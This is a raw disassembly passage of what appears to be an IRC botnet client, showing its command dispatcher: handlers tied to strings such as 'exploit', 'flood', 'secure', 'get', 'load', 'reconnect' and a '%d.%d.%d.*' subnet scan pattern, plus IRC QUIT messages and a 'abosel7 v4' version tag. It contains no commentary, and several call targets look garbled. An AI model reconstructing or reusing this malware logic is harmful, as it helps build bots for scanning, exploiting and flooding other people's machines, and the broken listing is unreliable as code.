		jle	short loc_403FCB
		push	offset unk_42BC04
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBDC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBBC
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		call	near ptr 26907AFh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB84
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB64
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAE8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BACC
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB0

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42BA60
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA48
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA44
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_42B9E8
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D0

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B920
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B910
		push	offset dword_42B900
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F4
		push	offset dword_42B8E4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset dword_42B880
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42B814
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 2680835h
		nop
		push	eax
		push	offset dword_42B7A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6B8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B68C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9BC

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B650
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B610
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E4

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 26907AFh
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
